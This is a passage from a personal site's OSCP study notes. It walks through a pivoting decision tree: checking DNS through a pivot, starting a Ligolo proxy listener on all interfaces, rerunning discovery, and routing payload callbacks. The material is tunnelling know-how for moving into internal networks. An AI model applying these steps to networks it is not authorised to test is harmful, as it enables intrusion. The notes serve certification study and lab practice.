Otherwise: The listener exists but the app fails: test destination reachability and DNS through the chosen path. Open Preserve DNS, Kerberos names and time across a pivot →

Full commands & alternatives →

Use Ligolo for a justified routed requirement

Use the version-specific agent/proxy procedure and route setup. A tunnel session alone is not a working destination route.

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT
  • If The selected subnet is routed and the destination responds → Identify applications and validate selected NSE checks

    Re-run service discovery from that new position.

  • If Delivery works but the payload callback fails → Build the callback and delivery routes separately from the attack route

    Build and verify the separately needed return/callback path.

Otherwise: Route/session setup fails: inspect the route, interface privileges and each connection leg. Open Discover pivot interfaces, routes and internal service context →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8